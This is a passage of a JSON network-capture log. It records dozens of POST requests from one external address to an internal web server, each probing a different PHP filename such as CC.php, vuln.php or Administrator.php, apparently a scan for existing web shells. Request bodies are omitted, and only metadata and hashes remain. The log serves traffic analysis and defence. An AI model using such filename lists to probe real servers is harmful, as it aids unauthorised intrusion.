            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/linux1.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-dc230c4f1e329637ff085f71",
          "src_port": 52505,
          "tcp_stream": 57,
          "udp_stream": null,
          "body_sha256": "8080b02949fe6bf56a51b1bc0df1dce317643e7da34b4ff1ef91037adea96571",
          "frame_number": 1821,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577256196.257470000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/CC.php",
            "http.response_in": "1825",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/CC.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-595fa4592064f2c22cb29da2",
          "src_port": 52505,
          "tcp_stream": 57,
          "udp_stream": null,
          "body_sha256": "1bf39d5a226560a2d8e011f57beec18a8c3599eee7b8eb95b5a9654e130d7e68",
          "frame_number": 1824,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577256198.061693000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/x.php",
            "http.response_in": "1828",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/x.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-36311631782603851e65a604",
          "src_port": 52505,
          "tcp_stream": 57,
          "udp_stream": null,
          "body_sha256": "8ec7ddf4593322ed0347f57f4f2d156532cc66f8d9fff664cb23d0e05a13adc4",
          "frame_number": 1827,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577256198.596006000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/lanke.php",
            "http.response_in": "1837",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/lanke.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-eadc3a4a295abea09729cb20",
          "src_port": 53737,
          "tcp_stream": 58,
          "udp_stream": null,
          "body_sha256": "4c3eee1d3a323e28500ee14a899fd43b2b24b3424ee69f3962a84c912f26bfa7",
          "frame_number": 1835,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577256202.542300000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/neko.php",
            "http.response_in": "1846",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/neko.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-7c7d20539e0ba3e649e2a9d7",
          "src_port": 53864,
          "tcp_stream": 59,
          "udp_stream": null,
          "body_sha256": "f5cbe4a6f56982e8cb5aa5c59c396cd2e3a556aa7701781787471eb89abb67cc",
          "frame_number": 1844,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256203.856851000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/super.php",
            "http.response_in": "1849",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/super.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-fc7ee144f016ebed15258a09",
          "src_port": 53864,
          "tcp_stream": 59,
          "udp_stream": null,
          "body_sha256": "6e272c07a820262e6295153f071985aac74fbc68736d3e1f95a76dbb34999f45",
          "frame_number": 1848,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577256204.114340000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/cer.php",
            "http.response_in": "1852",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/cer.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-2e4b93b0bc4a96102ab63338",
          "src_port": 53864,
          "tcp_stream": 59,
          "udp_stream": null,
          "body_sha256": "ce00fb93bdd8799116dee501491619b2987f56bcff2e1260e6e72e0714e0f28f",
          "frame_number": 1851,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577256204.372043000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/cere.php",
            "http.response_in": "1855",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/cere.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-0e566db50f92f8f8a2f83141",
          "src_port": 53864,
          "tcp_stream": 59,
          "udp_stream": null,
          "body_sha256": "061c0ff5d6f501e9cf00f3a3748751f4551937bec1e79b76621d7e88a017ec89",
          "frame_number": 1854,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577256205.442753000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/aaa.php",
            "http.response_in": "1858",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/aaa.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-897c4b2b336acf84d39b93e9",
          "src_port": 53864,
          "tcp_stream": 59,
          "udp_stream": null,
          "body_sha256": "f5cbe4a6f56982e8cb5aa5c59c396cd2e3a556aa7701781787471eb89abb67cc",
          "frame_number": 1857,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256205.708246000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/Administrator.php",
            "http.response_in": "1861",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/Administrator.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-7a7508de31dfb7c94b481523",
          "src_port": 53864,
          "tcp_stream": 59,
          "udp_stream": null,
          "body_sha256": "061c0ff5d6f501e9cf00f3a3748751f4551937bec1e79b76621d7e88a017ec89",
          "frame_number": 1860,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577256205.966116000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/liangchen.php",
            "http.response_in": "1864",
            "http.content_length": "27",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/liangchen.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-e6e239381f9bb1b8f91bddb5",
          "src_port": 53864,
          "tcp_stream": 59,
          "udp_stream": null,
          "body_sha256": "398e5b24097be4e9b0ac36902dddf964b364071eb383f91f856ff5c9dc1c5d58",
          "frame_number": 1863,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 27,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 27,
          "timestamp_epoch": "1577256206.256217000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/liangchen.php",
            "http.response_in": "1871",
            "http.content_length": "27",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/liangchen.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-54e224a87257a5f38d9d4ccc",
          "src_port": 54831,
          "tcp_stream": 60,
          "udp_stream": null,
          "body_sha256": "398e5b24097be4e9b0ac36902dddf964b364071eb383f91f856ff5c9dc1c5d58",
          "frame_number": 1869,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 27,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 27,
          "timestamp_epoch": "1577256209.798399000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/meng.php",
            "http.response_in": "1884",
            "http.content_length": "25",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/meng.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-0f18ae5ef1e65db36d1bbbce",
          "src_port": 55480,
          "tcp_stream": 62,
          "udp_stream": null,
          "body_sha256": "fcb9c5e6294ada43b98743ebcf2b19f76797de2cccf3571638fa8522dd5af218",
          "frame_number": 1882,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 25,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 25,
          "timestamp_epoch": "1577256214.874055000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/no.php",
            "http.response_in": "1887",
            "http.content_length": "20",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/no.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-66f11e39ef425d5ceea2111e",
          "src_port": 55480,
          "tcp_stream": 62,
          "udp_stream": null,
          "body_sha256": "04eebbc1d0c8d07eaa429c4676f1a4d4147ed6e434b051f8404b5750977f9be9",
          "frame_number": 1886,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 20,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 20,
          "timestamp_epoch": "1577256215.393642000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/mysql.php",
            "http.response_in": "1898",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/mysql.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-c422aa8090089bf4dca6082a",
          "src_port": 56638,
          "tcp_stream": 63,
          "udp_stream": null,
          "body_sha256": "e100603116e2ef5ad761bb07fe2eda8bab6ef2525c5d9647b6108f8be84a7c2a",
          "frame_number": 1896,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577256227.169239000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/Updata.php",
            "http.response_in": "1901",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/Updata.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-d9850309da7cab7c4cf5413f",
          "src_port": 56638,
          "tcp_stream": 63,
          "udp_stream": null,
          "body_sha256": "e100603116e2ef5ad761bb07fe2eda8bab6ef2525c5d9647b6108f8be84a7c2a",
          "frame_number": 1900,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577256228.385593000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/xxxx.php",
            "http.response_in": "1904",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/xxxx.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-b27ca4abd29bc61379779f8c",
          "src_port": 56638,
          "tcp_stream": 63,
          "udp_stream": null,
          "body_sha256": "363b45ef36c4b422e2343990313f4920dfab48b6e2336548d09257541f4e2659",
          "frame_number": 1903,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577256229.669398000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/guai.php",
            "http.response_in": "1907",
            "http.content_length": "26",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/guai.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-6890fc41524fe312744dded9",
          "src_port": 56638,
          "tcp_stream": 63,
          "udp_stream": null,
          "body_sha256": "c3eeaf0ad25a1b0b6f039960a12d5a0a057063e6f55ba7455e3280a5970b7e77",
          "frame_number": 1906,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 26,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 26,
          "timestamp_epoch": "1577256229.963973000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/ljb.php",
            "http.response_in": "1910",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/ljb.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-f2febe052e626442026d0d81",
          "src_port": 56638,
          "tcp_stream": 63,
          "udp_stream": null,
          "body_sha256": "067918e6f6b562d39358996bd0ac8ca5aedd37fea124afd6656e8a1328b14a47",
          "frame_number": 1909,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256230.243751000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/www.php",
            "http.response_in": "1913",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/www.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-a77b106a5f76b553dac75db8",
          "src_port": 56638,
          "tcp_stream": 63,
          "udp_stream": null,
          "body_sha256": "067918e6f6b562d39358996bd0ac8ca5aedd37fea124afd6656e8a1328b14a47",
          "frame_number": 1912,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256231.264050000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/1.php",
            "http.response_in": "1924",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/1.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-c6501ba81c26e5e299b9efc0",
          "src_port": 58115,
          "tcp_stream": 64,
          "udp_stream": null,
          "body_sha256": "ca6d88dbd1c94ff8a71cdee9a85e4a256f45b2b46a97adbeaf650d252798c0cb",
          "frame_number": 1922,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256241.792241000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/chaoda.php",
            "http.response_in": "1927",
            "http.content_length": "24",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/chaoda.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-2cc859d44a5feec93340672f",
          "src_port": 58115,
          "tcp_stream": 64,
          "udp_stream": null,
          "body_sha256": "82994434e3b31cf661606a76d8732bc8b567d25fccaa97fd73d5e13c6d8bc1e1",
          "frame_number": 1926,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 24,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 24,
          "timestamp_epoch": "1577256243.251347000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/qq.php",
            "http.response_in": "1931",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/qq.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-31fceccbb946c71e3f0b8551",
          "src_port": 58115,
          "tcp_stream": 64,
          "udp_stream": null,
          "body_sha256": "472d1c07fb6fa554f291c056580ee3b57ccc6f1eb3acde8c114f0e9d072ebcdd",
          "frame_number": 1929,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256245.178080000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/vuln.php",
            "http.response_in": "1934",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/vuln.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-3f271790d1a28042d38d7932",
          "src_port": 58115,
          "tcp_stream": 64,
          "udp_stream": null,
          "body_sha256": "8567e5edc0206dfb26058c1a3aff7e3c257d4946139bde76fdb9372a68a1cb15",
          "frame_number": 1933,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577256245.437344000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/vuln1.php",
            "http.response_in": "1937",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/vuln1.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-6b828ec63494903449015e77",
          "src_port": 58115,
          "tcp_stream": 64,
          "udp_stream": null,
          "body_sha256": "8567e5edc0206dfb26058c1a3aff7e3c257d4946139bde76fdb9372a68a1cb15",
          "frame_number": 1936,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577256245.702655000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/orange.php",
            "http.response_in": "1940",
            "http.content_length": "24",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/orange.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-17dde070e18346dddd131ce5",
          "src_port": 58115,
          "tcp_stream": 64,
          "udp_stream": null,
          "body_sha256": "57133fb0fb0b2dcd1b8c9543e3fc99518ce84426d286c9cd72085b43b5d8759b",
          "frame_number": 1939,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 24,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 24,
          "timestamp_epoch": "1577256246.719146000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/erba.php",
            "http.response_in": "1943",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/erba.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-2681fb0a121c9411606fac8e",
          "src_port": 58115,
          "tcp_stream": 64,
          "udp_stream": null,
          "body_sha256": "1564d3db2b42cec507a3359d8f89fc060035ab94819b5504cec1b7715358f770",
          "frame_number": 1942,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256247.124155000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/link.php",
            "http.response_in": "1946",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/link.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-3b011f0de0a3ecf2ba388b8f",
          "src_port": 58115,
          "tcp_stream": 64,
          "udp_stream": null,
          "body_sha256": "9f2d0a3e26408ec0b0163681689396992c9d8b7bc8daf65666925476a0b6ded1",
          "frame_number": 1945,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577256247.383709000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/linkr.php",
            "http.response_in": "1949",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/linkr.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-80dd7f10eccd430de242d47f",
          "src_port": 58115,
